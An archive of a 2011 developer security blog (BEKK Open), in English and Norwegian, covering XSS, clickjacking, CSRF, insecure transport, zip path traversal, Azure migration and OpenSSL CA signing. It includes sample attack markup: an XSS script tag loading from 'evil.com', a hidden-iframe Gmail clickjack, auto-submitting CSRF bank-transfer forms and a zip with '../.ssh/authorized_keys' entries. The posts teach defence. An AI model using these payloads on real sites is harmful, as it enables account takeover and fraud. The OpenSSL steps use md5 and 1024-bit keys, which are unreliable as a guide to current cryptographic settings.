BEKK Open » Sikkerhet

Avoiding Cross Site Scripting – Not as easy as you might think

Erlend Oftedal — Tue, 30 Aug 2011 09:30:44 +0000

Cross site scripting (XSS) vulnerabilities are probably the most common security errors we as developers make. Security companies around the world report finding it in as many as 80 percent of the applications they assess. Why is this still a problem, and is it really all that dangerous?

Video of my presentation from NDC2011 on the same topic.

To answer the last question first, yes, it certainly is dangerous. While most demonstrations only show a javascript alert with “XSS”, the malicious use of these vulnerabilities is certainly something to you want to avoid. Traditionally XSS has been used to steal login credentials (session ids, username/password) or perform worm-like activity on social networking sites. And while those exploitations are bad, a bigger problem is when XSS-flaws are used to deliver malware to the end user, exploiting flaws in the browser or plugins, and allowing the attacker full control over the victim’s computer. Tricking a victim into visiting a malware infested site, is easier when the site is something a user would normally trust.

So why the name Cross Site Scripting? All browsers implement the Same Origin Policy (SOP), which will block a site A from including an iframe to site B, and then reading all the content from that site. Consider a malicious site including a hidden iframe pointing to your webmail, and then reading all your mail when you visit it. The SOP stops this from happening. However, if we are including unhandled user input in our HTML, we can get in trouble even if this policy is in place. The unhandled user input can end up changing the flow of HTML and javascript on our site, and thus completely change the appearance and behavior of the site.

A first attempt at stopping XSS, is often to do input validation. While input validation certainly has security benefits, it fails to solve all XSS problems. The XSS attack strings can be sneaky, and we can’t always identify or block them. Consider doing input validation on a blog comment. A comment can contain almost anything – including instructions on how to write javascript – while still being a valid comment. And input validation is about data quality and making sure the data is valid according to our domain – not removing attacks. The fact that it mitigates some attacks, is actually a side effect. So we cannot rely solely on input validation.

Another approach – which many frameworks now follow – is to automatically HTML encode everything we output in HTML. ASP.NET MVC3′s Razor (@SomeVariable) and Ruby On Rails 3 (<%= SomeVariable %>) are view engines that follow this approach. This will certainly stop a lot of XSS attacks. It’s on the right track and it works as long as you are using the built in templates for creating HTML elements.

If, however, we are to avoid XSS completely, we need to apply contextual encoding. We need to escape differently whether we are outputting user data between HTML tags, in HTML attributes, in javascript or in CSS. Consider the following example:
";
This should be safe, right? The alert is inside a javascript string, and we are not breaking out of that string using a double-quote. So nothing should happen. Now try it in a browser, and see what happens. If we, in this case, applied HTML escaping, we would have stopped the attack. However our javascript string might not contain what we intended it to. As an example, sorting javascript strings becomes a bit more difficult when characters are HTML escaped, because it affects more than the less/greater than characters.

How about this example?

The single quotes are escaped so we should be safe, right? Again try running something similar in a browser and see what happens. In this case our input is actually put into a javascript context inside a HTML attribute context.

So the correct escaping in the examples above, would have been to apply javascript encoding, meaning replacing non-alphanumeric characters with their escaped equivalent (\xHH or \unnnn). Also we should perform HTML attribute encoding on the last one to make sure we have escaped for both contexts.

OWASP (the Open Web Application Security Project) has created the XSS prevention cheat sheet, that helps us understand when and how to escape user input. And any web developer should know this by heart. The rules of this cheat sheet are:

RULE #0 – Never Insert Untrusted Data Except in Allowed Locations

RULE #1 – HTML Escape Before Inserting Untrusted Data into HTML Element Content

RULE #2 – Attribute Escape Before Inserting Untrusted Data into HTML Common Attributes

RULE #3 – JavaScript Escape Before Inserting Untrusted Data into HTML JavaScript Data Values

RULE #4 – CSS Escape Before Inserting Untrusted Data into HTML Style Property Values

RULE #5 – URL Escape Before Inserting Untrusted Data into HTML URL Parameter Values

RULE #6 – Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way

RULE #7 – Prevent DOM-based XSS

Rule #7 was added recently, but was found to be broad that it was given a prevention cheat sheet on it’s own – the OWASP DOM based XSS Prevention Cheat Sheet. DOM based XSS is a flaw where the XSS occurs in javascript client side. The javascript takes unsanitized data found in the browser (typically data from a form, the url, window.referer or window.name), and then writes that data to the HTML DOM using document.write or similar, which causes the malicious javascript in the unsantized data to run. An example could be $(location.hash) as described in http://ma.la/jquery_xss/.

To help you escape correctly for .NET, Barry Dorrans has built the AntiXSS library, which you will find on NuGet and Codeplex. For Java and several other languages use the encoders that are a part of OWASP ESAPI.

Stay safe. Stay Secure.

If you want to learn more about web security, join your local OWASP chapter. The Open Web Application Security Project (OWASP) is a 501c3 not-for-profit worldwide charitable organization focused on improving the security of application software, and pariticipation is free and all material freely available.

Flytte en ASP.NET-applikasjon til Windows Azure

Vidar Kongsli — Wed, 24 Aug 2011 14:33:28 +0000

Jeg har tidligere skrevet om hvilke typiske Windows Azure-komponenter man kan vurdere når man skal flytte eksisterende komponenter til Azure. Da skrev jeg at en ASP.NET-applikasjon kan kjøres ved hjelp av en Windows Azure Compute Web role. Det er dermed ikke sagt at dette er trivielt, først og fremst fordi en applikasjon ofte har avhenigheter til eksterne komponenter og tjenester som ikke er tilgjengelig i Skyen. I denne artikkelen ser jeg mer i detalj hva man må tenke på når man skal flytte en eksisterende ASP.NET-applikasjon til Azure, og hvilke Azure-komponenter man kan vurdere å benytte i en slik sammenheng for å håndtere disse avhengighetene.

Tilfellet er her en mer eller mindre typisk ASP.NET-applikasjon som samspiller med en SQL-database, lokalt filsystem, og som eventuelt autentiserer brukere mot Active Directory. Vi skal se på løsninger som ikke krever omskriving av applikasjonen, eller så lite omskrivning som overhodet mulig.

.NET-versjoner og biblioteker

Ut av boksen støtter Azure Compute .NET 2.0 eller nyere. (Merk dog at den kun kjører IIS 7.0, ikke 7.5). Det vil si at kjernebibliotekene i .NET 2.0, 3.5 og 4.0 fins på serveren. Hvis man skal benytte tredjepartsbiblioteker, eller nyere biblioteker fra Microsoft som f.eks. ASP.NET MVC 3, må disse assembly’ene legges ved i pakken som skal produksjonssettes. Dette gjøres enkelt ved å sette Copy local til True for den gitte referansen i Visual Studio.

Databasetilgang

Hvis applikasjonen trenger tilgang til en database, er det flere mulige løsninger uten å skrive om applikasjonen. Den enkleste løsningen, hvis det eksisterende databasesystemet er SQL Server, er å migrere til Microsoft SQL Azure. I praksis er det få begrensninger i SQL Azure sammenlignet med SQL Server. Her finner du en sammenligning av disse løsningenene. I praksis vil jeg tro at det er følgende begrensninger man oftest vil støte på:

Maksimum databasestørrelse er 50 GB

Mangel på støtte for alle replikeringscenarier

Mangel på støtte for Windows Integrated Authentication

Hvis man på grunn av noen av begrensningene i SQL Azure, eller av andre årsaker, ikke kan ta SQL Azure i bruk, er en annen mulighet å benytte seg av Windows Azure Connect. Da åpner man et virtuelt nettverk fra ASP.NET-applikasjonen på Azure inn til databaseserveren som driftes lokalt. Dette krever installasjon av gateway-programvare på det interne nettverket.

Filsystemtilgang

Når en applikasjon kjører i Window Azure, har den tilgang til det lokale filsystemet på den virtuelle maskinen. Størrelsen på denne disken kommer an på størrelsen på instansen.
Det er dog verdt å merke seg at dette filområdet ikke er egnet til permanent lagring for det blir slettet for hver produksjonssetting av applikasjonen. Dette er dermed mer egnet til midlertidig lagring, og til eventuell installasjon av programvare som løsningen benytter. Videre er dette filsystemet en sandkasse, slik at applikasjonen ikke har tilgang til hele disken, men kun til en underkatalog.

Uten å måtte skrive om applikasjonen, er løsningen her å benyttet Windows Azure Drives. Dette er løsning som baserer seg på at man lagrer en NTFS-formattert Virtual Hard Drive (VHD) som en page blob i Windows Azure Storage blob service. En page blob er en type blob som tillater ikke-sekvensiell tilgang (random access). Da kan denne mappes som et drev på den virtuelle maskinen der .NET-applikasjonen kjører slik at den fungerer som en normal disk for applikasjonen. Lesing og skriving til denne caches lokalt på maskinen for å oppnå god ytelse. For mer informasjon, se Windows Azure Drives white paper.

Har man rom for å skrive om applikasjonen, vil nok en bedre løsning på sikt være å benytte Windows Azure Blob storage via klient-APIet eller direkte via det REST-baserte APIet.

Autentisering og brukerhåndtering

Avhengig av hvordan applikasjonen håndterer brukerne, er dette området den potensielt største showstopperen for å flytte applikasjonen til Azure. Årsaken til dette er at Active Directory ikke er tilgjengelig i Azure, og at katalogfunksjonalitet og Windows Integrated-autentisering dermed ikke kan benyttes.

Her er noen typiske kombinasjoner av autentisering og brukerhåndtering, og respektive forslag til løsning:

Autentiseringstype Brukertype Løsning

Form I SQL-database Benytt løsning for håndtering av databasetilgang gitt ovenfor. Home free!

Form Windows-bruker Ikke trivielt. Se ADFS-basert løsning nedenfor

Basic I SQL-database Basic authentication støttes av Web roles. Samme som Form+SQL-database over.

Basic Windows-bruker Ikke trivielt. Se ADFS-basert løsning nedenfor

Windows integrated authentication Windows-bruker Ikke trivielt. Se ADFS-basert løsning nedenfor

Løsning basert på Active Directory Federation Services

Autentisering og brukerhåndtering i Skyen skaper ofte problemer hvis det er et krav at autentisering skal gjøres mot en felles katalog som for eksempel Active Directory. Hvis katalogen som benyttes er Active Directory, er den enkleste veien å gå å installere og benytte Active Directory Federation Services. Denne kan opptre som en identitetstilbyder og autentisere brukerne på vegne av applikasjonen. En ASP.NET-applikasjon kan konfigureres til å støtte dette, det vil si å gjøres såkalt “claims-aware” ved hjelp av Windows Identity Foundation-biblioteket. Sistnevnte er tilgjengelig for .NET 3.5 og 4.0, og kan i noen tilfeller introduseres i en applikasjon uten omskriving av applikasjonen, avhengig av hvordan autentiseringen fungerer i applikasjonen fra før.

For en typisk eksisterende applikasjon gjennomfører man følgende steg:

Installere og konfigurere Active Directory Federation Services (AD FS)

Konfigurere ASP.NET-applikasjon som “claims-aware” og etablere trust mellom denne og ADFS

Det er mange detaljer, og mange spesialtilfeller som kan slå til, men på et overordnet nivå er dette stegene som må tas.

How to sign a certificate request with openssl

Stefan Landrø — Mon, 20 Jun 2011 11:59:32 +0000

Today I had to issue a certificate signed with my own self-signed certificate (i.e. sign a CSR using my own CA). The best tutorial I could find is from 2001, and is a bit outdated and incomplete. I therefore ended up writing this tutorial.

Create a minimal openssl CA configuration file and save it as ca.conf:

[ ca ] default_ca = ca_default [ ca_default ] dir = ./ca certs = $dir new_certs_dir = $dir/ca.db.certs database = $dir/ca.db.index serial = $dir/ca.db.serial RANDFILE = $dir/ca.db.rand certificate = $dir/ca.crt private_key = $dir/ca.key default_days = 365 default_crl_days = 30 default_md = md5 preserve = no policy = generic_policy [ generic_policy ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = optional emailAddress = optional

Create the CA database directory and some other necessary directories and files (it will hold information about all the certificates you issue):

mkdir ca cd ca mkdir ca.db.certs touch ca.db.index echo "1234" > ca.db.serial

Generate a 1024-bit RSA private key for the CA:

openssl genrsa -des3 -out ca/ca.key 1024

Create a self-signed X509 certificate for the CA (the CSR will be signed with it):

openssl req -new -x509 -days 10000 -key ca/ca.key -out ca/ca.crt

Create CSR

openssl req -new -newkey rsa:1024 -nodes -keyout mykey.pem -out myreq.pem

Sign CSR

openssl ca -config ca.conf -out certificate.pem.crt -infiles myreq.pem

ZIP, Java and security

Stefan Landrø — Wed, 15 Jun 2011 21:03:09 +0000

The ZIP-specification is somewhat peculiar in that it is specified by a company called PKWARE and not by any of the regular standardization bodies like the IETF or W3C. The specification has undergone several revisions since its first release in 1989, and is currently at version 6.3.2. (published in 2007).

One would think that support for the file format on a platform like Java would be top notch by now, however that is not the case. There are several limitations in the standard java.util.zip package and the API is fairly low level. That’s probably why folks seem to prefer using higher-level open source libraries, and TrueZip seems to be the most popular one. Therefore, on my latest project, where we’re dealing with massive amounts of large (200+ MB) zip files, we gave TrueZip a try. Well, it’s called TrueZip, but I’d rather call it FalseZip! It worked pretty ok with small files, but it produced extremely strange results with big zips (didn’t unpack properly). We also tried using several other libraries, but none of the behaved as expected/required, and we ended up using java.util.zip even if it is pretty low level.

The advantage og using this low level API is that you learn lots about the zip format and potential security issues.

Let’s have a look at the following two following zip files, test.zip and evil_test.zip:

Stefan-Magnus-Landros-MacBook:tmp landro$ unzip -l test.zip Archive: test.zip Length Date Time Name -------- ---- ---- ---- 10 06-15-11 22:10 bar 10 06-15-11 22:10 foo -------- ------- 20 2 files Stefan-Magnus-Landros-MacBook:tmp landro$ unzip -l evil_test.zip Archive: evil_test.zip Length Date Time Name -------- ---- ---- ---- 10 06-15-11 22:11 ../.ssh/authorized_keys 10 06-15-11 22:10 /bin/bash -------- ------- 20 2 files

If you unzip test.zip with unzip on Mac OS X, it will create a foo and a bar file in the current working directory. All cool.
If you unzip evil_test.zip, it will create an .ssh folder containing an authorized_keys file and and a bin folder containing a bash file …. in the current working directory. All cool ….thanks to unzip on Mac OS X (actualy provided by Info-ZIP).

Is java.util.zip all cool too? Yes, as long as you validate/handle correctly the values returned by ZipEntry.getName(). It turns out zip files can easily be tampered with using using a HEX editor (modifying names won’t affect checksums!), so you better make sure you do some validation!

Clickjacking

Torgeir Thoresen — Wed, 04 May 2011 19:20:22 +0000

I Juli 2002 rapporterte Mozillas Jesse Ruderman en bug for Firefox som argumenterte for at iframes ikke burde ha en gjennomsiktig bakgrunn. Ruderman forklarte at dette betydde at han kunne vise en side som Yahoo i en iframe og “legge til” elementer til den. Desverre ble han ikke hørt, og buggen ble markert som ugyldig og senere lukket.

Seks år senere, i 2008, presenterte sikkerhetsforskerne Jeremiah Grossman og Robert Hansen en ny type angrep, Clickjacking, som utnyttet akkurat det prinsippet Ruderman hadde prøvd å få på dagsorden. De lagde en nettside der besøkende uvitende ble tatt opp og filmet, og opptakene videre streamet tilbake til angriperen.

Hva er Clickjacking?

Ved Clickajcking (også kalt UI Redressing) utnytter en angriper at andre nettsider og plugins kan hentes inn og blandes med innholdet på angriperens nettside. Dette kan gjøres på en slik måte at brukere kan bli lurt til å utføre handlinger på andre sider de er logget inn på i samme nettlesersesjon. Enkelte HTML-elementer, som for eksempel iframe, tillater at innhold hentes fra andre domener, som deretter kan blandes så godt inn i angriperen sin nettside med CSS at det blir usynlig for brukeren at man i realiteten klikker på en helt annen side (derav UI Redressing).

Hvordan utføres Clickjacking?

La oss se på et eksempel på Clickjacking som tidligere har blitt utnyttet for å sende epost fra besøkendes GMail-adresser. Koden under viser en enkel HTML-side som inkluderer en side fra GMail ved hjelp av en iframe.

<h1>The evil</h1> <p>That men <a href="">do</a>..</p> <iframe src="https://mail.google.com/mail/h/cssoverlay/?v=b&cs=wh& to=attackers.choice.of.email@example.com&subject=I have been clickjacked"></iframe>

Bildet viser hvordan dette kunne sett ut.

Grunnlaget for dette angrepet, var at Google eksponerte en URL som kunne laste en brukers GMail med en ferdig utfylt epost med til- og tittel-felt med data fra URL’en. Ved også å ta i bruk CSS, kunne iframe-elementet flyttes slik at send-knappen fra GMail ble liggende nøyaktig over linken. Da iframe-elementet lå etter linken i koden ble dette tegnet foran linken.

Deretter kunne også opacity settes for gjemme siden fra mail.google.com i sin helhet, ved å gjøre iframe-elementet helt gjennomsiktig.

iframe { width: 500px; height: 300px; position: absolute; top: 200px; left: -110px; opacity: 0; }

I dette angrepet ble linken brukt som “lokkemat” for å fremprovosere klikk fra brukeren, og klikk beregnet for å treffe linken ville isteden treffe send-knappen fra den usynlige iframen. På denne måten kunne angriperen velge både tittel og mottaker, og få sendt epost fra den besøkendes konto med den besøkendes identitet.

Det et finnes et utall kombinasjoner av HTML og CSS som kan brukes for å gjennomføre Clickjacking, og kombinert med JavaScript kan sofistikerte angrep som er veldig vanskelige å oppdage gjennomføres. I Grossman og Hanssen sitt tilfelle ble besøkende lurt til å klikke på en lenke som egentlig skjulte Flash-pluginen sitt forsøk på spørre om tillatelse til å bruke webkamera og mikrofon fra brukerens pc.

Hva kan jeg som bruker gjøre?

Pluginen NoScript til Firefox er den som per dags dato gir brukere best beskyttelse mot Clickjacking. NoScript beskytter ikke bare mot Clickjacking, men er generelt en god plugin for å stramme inn hvilken funksjonalitet (script, plugins o.l.) som får lov til å kjøre på den gjeldende siden. På sider som har kode som tilsynelatende kan være Clickjacking-angrep presenteres brukeren med en dialogboks som viser elementet pluginen mener kan være ondsinnet, med spørsmål om å fortsette eller avbryte.

Andre gode forhåndsregler man som bruker kan ta er å

Huske å logge ut

Unngå nettleseres auto-complete

Holde nettleser-plugins oppdatert

Ved å logge ut av sider en angriper kan ha interesse av å utnytte før man forlater dem hindrer man angrepene som baserer seg på at offeret er logget inn i den gjeldende nettleser-sesjonen.

I mer sofistikerte angrep har også angripere klart å logge brukere inn på sidene som har blitt utnyttet, da nettleseres auto-complete fyller inn brukernavn og passord for sider som lastes i iframes. Da trengs ett klikk for å logge en bruker inn, for så å kunne fortsette et angrep. Ved å slå av auto-complete unngår man dette.

Det siste punktet er til en hver tid å holde plugins oppdatert, som også er en god regel generelt for å hindre andre typer angrep. For eksempel har nyere versjoner av Flash-pluginen blitt forbedret, slik at angrepet Grossman og Hansen utnyttet ikke lenger fungerer fordi dialogboksen ikke lenger kan gjøres usynlig for brukerne.

Hva kan jeg som utvikler gjøre?

Den ene av de to vanligste løsningene for å beskytte funksjonalitet mot Clickjacking for utviklere er å kreve eksplisitt verifikasjon fra brukeren for å bekrefte at dette faktisk er en forespørsel brukeren ønsker å gjøre. Dette hindrer Clickjackingen ved å innføre ekstra steg som krever mer interaksjon fra brukeren enn bare ett klikk. For eksempel kan man bruke en CAPTCHA, eller kreve passord før brukeren får fortsette.

Den andre løsningen er å ta i bruk HTTP-headeren X-Frame-Options. Microsoft introduserte med IE8 headeren X-Frame-Options som instruerer nettlesere til å aldri vise siden i en iframe, eller til å bare tillate at siden vises i iframes fra samme domene. Denne oppføreselen får man ved å sette headeren til deny eller sameorigin. Denne løsningen fungerer veldig bra, og er også implementert av de andre store nettleserne som Firefox, Chrome, Safari og Opera. For å implementere X-Frame-Options effektivt må headeren inkluderes på alle sider en vil beskytte mot Clickjacking.

Oppsummering

Heldigvis har de fleste Clickjacking-angrep hittil vært mer eller mindre harmløse. Dog har vi i de siste månedene sett en dramatisk økning i antall, spesielt rettet mot Facebook – der brukere til stadighet blir lurt til å poste status-oppdateringer og “like” andres sider når de egentlig tror de ser morsomme filmer på Youtube. Den gode nyheten er derimot at du som bruker som kommer veldig langt i å beskytte deg ved bare å huske å logge ut av sider du er ferdig med å bruke!

Usikret kommunikasjon

Ståle Pettersen — Wed, 13 Apr 2011 20:49:31 +0000

OWASP Top 10-prosjektet har rangert usikret kommunikasjon (“Insufficient transport layer protection”) som nummer 9 basert på risiko. Svakheten innebærer at konfidensialitet og integritet av informasjon ikke er tilstrekkelig ivaretatt mellom server og klient.

Hva er usikret kommunikasjon?

Usikret kommunikasjon er når sensitiv informasjon blir transportert over en usikret kommunikasjonskanal. HTTP og JDBC er protokoller som transporterer data usikret. HTTP eksponeres som regel til sluttbruker over internett, og JDBC eksponeres internt mellom applikasjonsserver og databaseserver. Dersom en angriper lytter på den usikre kommunikasjonen mellom server og klient kan sensitiv informasjon som kredittkortnummer, helseinformasjon, passord, autentisering- eller sesjonsinformasjon leses av angriperen. Selv om sensitiv informasjon sendes sikkert med TLS i et vanlige bruksmønster, er det viktig å garantere at det aldri blir sendt over HTTP. En må derfor tilse at for eksempel innloggingssiden kun er tilgjenglig over TLS, og ikke på HTTP. I tillegg finnes det usikre ciphers i eldre versjoner av TLS og SSL som gjør kommunikasjonen usikret.

Hvordan utnyttes usikret kommunikasjon?

En utnytter usikret kommunikasjon ved å lytte til trafikken som går mellom klient og server. Et eksempel; dersom en ansatt i firma X befinner seg på en konferanse og er pålogget et åpent trådløst nettverk, er sensitiv informasjon som sendes over HTTP tilgjengelig for alle innenfor rekkevidden til nettverket. Det er utvikler og drifter av nettstedet sitt ansvar å påse at ingen sensitiv informasjon kan leses i en slik kontekst.

Usikret kommunikasjon av brukernavn og passord oppstår dersom innloggingssiden er tilgjenglig på HTTP og HTTPS. Da er det bruker som har ansvar for å velge den siden som ivaretar sikker kommunikasjon. En angriper kan lure brukeren til HTTP-innloggingssiden, og dermed lese brukernavn og passord når brukeren logger seg inn. Det er dårlig sikkerhetspraksis å ha innloggingsskjemaet på HTTP, selv om skjemaet sendes over TLS. Brukeren har ingen visuell garanti for at informasjonen blir sendt over TLS. En har heller ingen garanti for integriteten til innlogginssiden, og med integritet menes forsikring om at nettsiden er umodifisert. Dette åpner for at en angriper kan endre innloggingsskjemaet til å sende informasjonen over HTTP (SSLstrip er et gratis verktøy som automatiserer akkurat slike angrep).

Sider som krever at brukeren er logget inn med gyldig sesjonsinformasjon må kun være tilgjengelig på TLS. Dersom slike sider er tilgjengelig på HTTP er det usikret kommunikasjon av sesjonsinformasjon som gjør at en angriper vil kunne stjele informasjonen ved å lytte på det trådløse nettverket og dermed logge inn som andre brukere.

Det er også usikret kommunikasjon dersom det brukes svak kryptering- eller integritetalgortime. Det er viktig å påse at det ikke brukes algoritmer med kjente svakheter, som for eksempel SSLv2.

Hvordan unngå usikret kommunikasjon?

Det er viktig at all sensitiv informasjon sendes over sikre kommunikasjonskanaler. I nettsider bør følgende prinsipper implementeres for å unngå usikret kommunikasjon.

Innloggingside kun tilgjengelig over TLS

Dette gjør at en angriper ikke kan manipulere innloggingsider. TLS garanterer integritet, gitt at siden ikke inneholder andre sikkerhetsfeil som XSS eller parameter tukling (“Parameter tampering”).

Sesjonsinformasjon sendes kun over TLS

Det anbefales at sesjonscookie har secure-flagget satt. Dette gjør at nettleseren aldri sender sesjonscookie over HTTP.

Eksempel

Set-Cookie: sesjon=<random> Path=/accounts; Expires=<dato> HttpOnly; Secure

Når en bruker skriver inn http://bank.com/sikker/ i nettleseren sin, mottar nettleseren en “HTTP redirect” som videresender brukeren til HTTPS. Denne videresendingen skjer over HTTP, og en angriper kan derfor manipulere dette. For å redusere risikoen for slik angrep kan en bruke HTTP headeren Strict-Transport-Security. Dette forteller nettleseren at den alltid skal bruke HTTPS for et domene i en gitt tidsperiode. Typisk blir tidsperioden satt til en måned, noe som vil redusere muligheten for angrep betraktelig. Headeren er støttet av Chrome og Firefox 4.

Eksempel

Strict-Transport-Security: max-age=2600000 ; includeSubDomains

Sider som krever innlogging bør kun være tilgjenglig over TLS

Sider som krever autentisering bør kun være tilgjenglig over TLS, inkludert bilder, CSS og Javascript-filer. Det kan være tilfeller der det er ønskelig at mindre sensitiv informasjon skal vises på sider som ikke blir sendt over TLS. I disse situasjonene anbefales det at det settes to sesjonscookies ved innlogging, en med secure-flagg for de sensitive sidene, og en uten secure-flagg for de mindre sensitive sidene (f.eks viser LinkedIn brukernavnet du er innlogget som på HTTP sider). For alle sensitive handlinger må da sesjonscookien, som har secure-flagget satt, kreves.

Bruk kun sikre algoritmer i TLS konfigurasjonen

En del servere har fortsatt usikre kryptering- og integritetsalgoritmer skrudd på som standardinnstilling. Dette bør fjernes fra lastbalanserere, webservere, applikasjonsservere og rammeverk. De fleste nettlesere aksepterer ikke usikre ciphers og protokoller, som SSLv2, men en del eldre rammeverk og applikasjonsservere har usikre algoritmer i standardinnstillingene som en må være påpasselig med å fjerne. Qualys har laget gratisverktøyet “SSL Server test” som analyserer SSL konfigurasjonen til en server og påpeker eventuelle svakheter i oppsettet.

Gyldig sertifikat

Verifiser gyldigheten til sertifikatet og hvem som har signert dette. Sørg for at signerer er en tiltrodd tredjepart. Dette er spesielt viktig i systemer der advarsler om ugyldig sertifikat kun blir skrevet til logger, f.eks mellom applikasjonsserver og databaseserver.

Les mer

OWASP Top 10 2010 – A9 Insufficient Transport Layer Protection

SSLstrip

Strict-Transport-Security

SSL labs – SSL Server test

Beskytt deg mot cross-site request forgery

Thomas Gøytil — Thu, 07 Apr 2011 06:00:45 +0000

På OWASP sin liste over topp 10 sårbarheter (OWASP Top 10 2010) er CSRF rangert som nummer 5. Cross-Site Request Forgery er et angrep der en angriper sender en forespørsel på vegne av en annen innlogget bruker. Angriperen har da mulighet til å utføre de handlingene som brukeren har rettigheter til i webapplikasjonen.

Hva er cross-site request forgery (CSRF)?

CSRF er et angrep der angriperen lager en request og får denne sendt til en annen webapplikasjon på vegne av offeret. Angrepet krever at offeret er innlogget i webapplikasjonen angriperen ønsker å utføre handlinger i. Grunnen til at et CSRF-angrep fungerer er måten nettleseren automatisk sender med cookies når den utfører en request. Hvis en bruker er innlogget i en webapplikasjon og nettleseren gjør en request mot denne, så vil alle cookies som er satt for dette domenet også følge med. Dette medfører at webapplikasjonen ser at denne brukeren er autentisert og lar derfor brukeren utføre de handlingene han har rettigheter til å utføre. En angriper vil med andre ord ha mulighet til å utføre de handlinger som brukeren har rettigheter til å utføre. Dette kan være å overføre penger i en nettbank eller endre passord på en blogg.

Hvordan utføres et CSRF-angrep?

For å utføre et cross-site request forgery-angrep så må offeret være innlogget i webapplikasjonen som er sårbar for CSRF-angrep. Angriperen vil da lure den innloggede brukeren inn på en webside som inneholder kode som sender et request mot den sårbare siden. For å få den innloggede brukeren til å navigere til angriperen sin webside så kan angriperen sende en epost (typisk spam), benytte “social engineering” til å lure offeret eller liknende.

La oss ta et fiktivt eksempel på en nettbank som er sårbar for CSRF. Offeret har akkurat logget på “nettbank-alpha.com” for å sjekke saldoen sin. En angriper sender da en epost til brukeren, som klikker på linken i eposten. Dersom nettbank-alpha hadde brukt GET-requester for å overføre penger fra en konto kan angrepet se slik ut:

<img src="http://nettbank-alpha.com/transferMoney?amount=10000&toAccount=12345678” />

Når brukeren besøker denne websiden vil nettleseren gjøre en request mot nettbank-alpha.com som utfører handlingen transferMoney med parameterne amount=10000 og toAccount=12345678. Nettbanken ville da overføre 10000 til konto 12345678. Hvis nettbanken krever POST-requester for å utføre handlingen kan angrepet se slik ut:

<form action="http://nettbankalpha.com/transferMoney" name="transferMoney" > <input name="amount" type="hidden" value="10000" /> <input name="toAccount" type="hidden" value="12345678" /> </form> <script type="text/javascript">window.onload=document.transferMoney.submit();</script>

Dette eksempelet viser samme angrep som over, bare at det brukes et skjema med skjulte felter for å holde på parameterne, og JavaScript for å sende skjemaet. Legg merke til at input taggene til skjemaet er hidden, så med mindre brukeren ser på den faktiske HTML koden vil han/hun ikke se noen av disse verdiene.

Hvordan sikre din applikasjon mot CSRF

Som vi så i eksempel 2 så er det ikke nok å kun akseptere POST-requester for å beskytte seg mot et CSRF. For å sikre en webapplikasjon mot et CSRF-agnrep kan man benytte seg av et “Synchronizer Token Pattern”. Synchronizer Token Pattern betyr at serveren legger inn et skjult felt med en engangstoken i skjemaer som utfører en kritiske handlinger. En kritisk handling vil i vårt eksempel være å overføre penger fra en konto til en annen. Det er viktig å poengtere at en engangstoken er unik for brukeren. Det betyr at token er assosiert med sesjonen til brukeren. Dette gjør at en angriper som har tilgang til samme webapplikasjon ikke bare kan bruke en token han/hun får generert fra applikasjonen.

Når skjemaet først blir hentet ned, så genereres en engangstoken på serversiden, og legges med i skjemaet som et skjult felt. Når brukeren da submitter skjemaet så følger tokenet med og verifiseres på serversiden. Engangstokenet vil da bli sammenlignet med det serveren opprinnelig genererte. Hvis disse to er like utføres handlingen. Om en webapplikasjon håndterer skjemaer på denne måten er en angriper på forhånd nødt til å vite hva den genererte engangstoken er for å utføre et angrep. Det er derfor viktig at tokenet er tilfeldig og langt nok til at det ikke kan gjettes av en angriper.

For å gjøre generering av engangstoken enklere kan man for eksempel bruke OWASP CSRF Guard. OWASP CSRF Guard er et bibliotek som implementerer en versjon av Synchronizer token pattern for å reduserer risikoen for et CSRF-angrep. CSRF Guard støtter to måter å injisere tokens i skjemaer, JavaScript DOM manipulering eller via et eget JSP-tag bibliotek. JavaScript DOM manipulering injiserer tokens automatisk, mens JSP-tag biblioteket må brukes for hvert enkelt skjema.

For de som bruker andre språk enn Java så finnes OWASP CSRF Guard også til .NET og PHP. Du kan lese mer om OWASP CSRF Guard på CSRF Guard Project. For andre språk som ikke er støttet av CSRF Guard har man også mulighet til å implementere sin egen versjon av Synchronizer token pattern.

Cross-site scripting

Anja Svartberg — Tue, 29 Mar 2011 16:24:00 +0000

Cross-Site Scripting (XSS) svakheter er en av de vanligste sikkerhetsfeilene i webapplikasjoner. XSS er rangert som nummer 2 i OWASP top 10, rett etter injection-feil. Svakheten kan oppstå alle steder der bruker-input presenteres tilbake til brukerene uten at det valideres eller escapes.

Ved å utnytte slike svakheter, kan en angriper stjele vilkårlige data, brukernavn, passord, cookies etc., fra brukere, eller lage ormer som sprer seg gjennom nettsiden. XSS-svakheter kan brukes som et startpunkt for mer avanserte angrep som utnytter feil i nettlesere eller plugins til å ta kontroll over brukerens datamaskin. Dette kan medføre at angriperen tar kontroll over brukerens datamaskin eller på andre måter utfører handlinger på vegne av andre brukere – for eksempel ved hjelp av CSRF, som beskrives i en senere post i sikkerhetsserien.

Hva er XSS?

Ved Cross-Site Scripting angrep utnytter angriperen en svakhet i webapplikasjonen som gjør det mulig å injisere vilkårlig kode som kjøres i brukerens nettleser. Det er mest vanlig at dette er JavaScript, men det kan også være HTML, Flash eller annen kode som kan eksekveres av nettleseren. Scriptet opptrer som en del av den siden koden blir injisert i og har derfor tilgang til cookies, session-tokens og annen informasjon som nettleseren bruker innenfor det angrepne nettstedet.

Hvordan utføres XSS?

Det finnes to varianter av XSS, Stored og Reflected XSS.

Reflected XSS kan skje når bruker-input sendes tilbake til brukeren fra request-parameterene i URLen. Eksempelvis kan en lenke med script sendes til offeret via e-post. Når offeret klikker på lenken presenteres den aktuelle siden for brukeren samtidig som scriptet kjøres. Dette scriptet kan endre siden eller utføre andre handlinger som offeret ikke ønsker, som å sende cookie-verdier eller annen informasjon til angriperen.

Vi har en side med et enkelt søkefelt:

<input name="search"/>

der søkeparameteren er inkludert i URLen:

www.eksempel.no/?search=Cross+Site+Scripting

Denne parameteren skrives rett ut i søkeresultat-siden:

<input name="search" value="Cross Site Scripting"/>

En angriper kan unytte dette ved å legge til et script i tillegg til det forventede søkeordet, og sende dette som en link til et offer:

www.eksempel.no/?search=Cross+Site+Scripting"/>

I dette tilfellet blir resultatet som følger:

<input name="search" value="Cross Site Scripting"/><script src="http://evil.com/evil.js"></script>"/>

der angriperen har lagt til en script-tag som peker på et skadelig script.

Hvis parameteret ikke valideres eller escapes før det skrives ut i siden, vi dette scriptet kjøre som en del av den originale siden.

